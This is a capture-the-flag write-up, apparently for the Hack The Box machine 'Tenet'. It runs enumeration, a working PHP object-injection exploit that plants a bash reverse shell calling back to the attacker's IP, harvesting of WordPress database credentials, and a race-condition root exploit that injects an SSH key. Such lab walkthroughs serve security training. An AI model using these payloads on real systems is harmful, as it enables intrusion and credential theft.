Table of Contents

Intro to Insecure deserialization

Serialization is when an object in a programming language (say, a Java or PHP object) is converted into a format that can be stored or transferred. Whereas deserialization refers to the opposite: it’s when the serialized object is read from a file or the network and converted back into an object.

Insecure deserialization vulnerabilities happen when applications deserialize objects without proper sanitization. An attacker can then manipulate serialized objects to change the program’s flow.

Today, let’s talk about PHP object injections. They are insecure deserialization vulnerabilities that happen when developers deserialize PHP objects recklessly.

Enumeration

nmap results

nmap -sC -sV -O nmap/tenet 10.129.158.233
# Nmap 7.91 scan initiated Wed May 26 23:31:44 2021 as: nmap -sC -sV -oA nmap/tenet 10.129.158.233
Nmap scan report for 10.129.158.233
Host is up (0.023s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 26 23:31:52 2021 -- 1 IP address (1 host up) scanned in 8.08 seconds
                              

gobuster results

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://tenet.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://tenet.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/26 23:39:47 Starting gobuster in directory enumeration mode
===============================================================
/wp-content           (Status: 301) [Size: 311] [--> http://tenet.htb/wp-content/]
/wp-includes          (Status: 301) [Size: 312] [--> http://tenet.htb/wp-includes/]
/wp-admin             (Status: 301) [Size: 309] [--> http://tenet.htb/wp-admin/]

WPScan results

wpscan -e u --url http://tenet.htb
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://tenet.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.6 identified (Insecure, released on 2020-12-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
 |  - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>

[+] WordPress theme in use: twentytwentyone
 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
 | Last Updated: 2021-04-27T00:00:00.000Z
 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] protagonist
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] neil
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed May 26 23:42:58 2021
[+] Requests Done: 68
[+] Cached Requests: 6
[+] Data Sent: 15.976 KB
[+] Data Received: 13.827 MB
[+] Memory used: 160.836 MB
[+] Elapsed time: 00:00:02

Users Revealed in WPScan

neil
protagonist

Wordpress Application running on port 80

image-20210526234823652

In Some comment neil user talking about sator php file and the backup

image-20210526234749550

Let’s add sator.php in url and check any file there or not.

image-20210526235225921

Let’s replace Domain name with IP Address

image-20210526235043185

Backup file found in the same directory

If you remember, neil taking about backup Let’s find that backup file. most developers change backup file into .bak format.

Link: http://10.129.158.233/sator.php.bak

image-20210527110904042

Sator.php.bak file

<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

After analyze the code we see that the script looks for a GET input variable arepo and unserializes it. we might be able to exploit it using PHP Object Deserialization and the class called DatabaseExportwith a __destruct function This function is what we can use to get RCE. The function uses file_put_contents to write the variable data to the file defined in the variable user_file.

Link : Exploiting PHP deserialization

Exploitation

So with the help of the article we write the class DatabaseExport on our local machine, define user_file to be a php file and the data to be a php_reverse_shell to our local machine.

Now let’s create a php script.

<?php
class DatabaseExport
{
    public $user_file = 'bhavsec.php';
    public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.172/9001 0>&1\'"); ?>';

        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated';
        }
}

$url = 'http://10.129.158.233/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.129.158.233/bhavsec.php");

?>

We got the shell

┌──(root💀kali)-[~/htb/tenet]
└─# ncl
listening on [any] 9001 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.158.233] 43438
ls
bhavsec.php
index.html
sator.php
sator.php.bak
users.txt
wordpress

Let’s go to wordpress directory and view content of wp-config.php

cd wordpress
ls -la
total 228
drwxr-xr-x  5 www-data www-data  4096 May 27 15:08 .
drwxr-xr-x  3 www-data www-data  4096 May 27 15:22 ..
-rw-r--r--  1 www-data www-data   405 Feb  6  2020 index.php
-rw-r--r--  1 www-data www-data 19915 Feb 12  2020 license.txt
-rw-r--r--  1 www-data www-data  7278 Jun 26  2020 readme.html
-rw-r--r--  1 www-data www-data  7101 Jul 28  2020 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Dec  8 22:13 wp-admin
-rw-r--r--  1 www-data www-data   351 Feb  6  2020 wp-blog-header.php
-rw-r--r--  1 www-data www-data  2328 Oct  8  2020 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2913 Feb  6  2020 wp-config-sample.php
-rw-r--r--  1 www-data www-data  3185 Jan  7 10:04 wp-config.php
drwxr-xr-x  5 www-data www-data  4096 May 27 15:08 wp-content
-rw-r--r--  1 www-data www-data  3939 Jul 30  2020 wp-cron.php
drwxr-xr-x 25 www-data www-data 12288 Dec  8 22:13 wp-includes
-rw-r--r--  1 www-data www-data  2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--  1 www-data www-data  3300 Feb  6  2020 wp-load.php
-rw-r--r--  1 www-data www-data 49831 Nov  9  2020 wp-login.php
-rw-r--r--  1 www-data www-data  8509 Apr 14  2020 wp-mail.php
-rw-r--r--  1 www-data www-data 20975 Nov 12  2020 wp-settings.php
-rw-r--r--  1 www-data www-data 31337 Sep 30  2020 wp-signup.php
-rw-r--r--  1 www-data www-data  4747 Oct  8  2020 wp-trackback.php
-rw-r--r--  1 www-data www-data  3236 Jun  8  2020 xmlrpc.php

MYSQL Database Credentials revealed

define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

SSH Login Successful

[email protected]:~$ whoami
neil
[email protected]:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
[email protected]:~$ 

User Owned

image-20210527124153321

Privilege Escalation

sudo -l results

seems like we can execute /user/local/bin/enable.sh script.

[email protected]:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
[email protected]:~$ ls -la /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1080 Dec  8 13:46 /usr/local/bin/enableSSH.sh

enableSSH.sh file

[email protected]:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash

checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"

	else

		/bin/echo "Error in adding $sshName to authorized_keys file!"

	fi

}

checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1

	fi

}

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl [email protected]"
addKey
checkAdded

The addkey() function look interesting.

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName

}

Let’s see what’s the script doing.

This script writes a id_rsa.pub key defined in key to a randomly generated file format of /tmp/ssh-XXXXXXXX and then copies the contents of the file to the known_hosts of the root And then deletes the tmp file.

We have Permission to write the file. Let’s replace root SSH_PUB_KEY with our’s ssh public key.

So, if we can write our own ssh-key to the tmp file before it gets copied to known_hosts, our key will get written to known_hosts and we can ssh into root.

Let’s write an infinite while loop in bash that continuously writes our ssh key to any file of format /tmp/ssh-XXXXXXXX using wild character. And while this runs, we run the script as sudo a number of times

Copy our SSH Public key from kali machine

Then, run the while loop Then run the sudo command 3-4 times.

while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiEineElLAoGzPWrR9VyNhxamU4uHkmdj9tzf725FwMUKWlhbH2xKa3VYJ1lRd9BpSqNgR/vtB4YAA/Z83AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIDnKvwBAb7sNFaP6ZeKd7Lp9EX0mw0C/phr39KnWn5dqb9AAAAAAAAAAAAAAAAAAAAAAAtKrfrm2dxrbQJCsVY0+3IkDvaUZXtUuoCVY5wJkxK1AijEU3c= [email protected]" | tee /tmp/ssh* > /dev/null; done

Root Owned

image-20210527131706701

 

Thanks for reading this post, if you like my work you can support by buying me a coffee. ☕️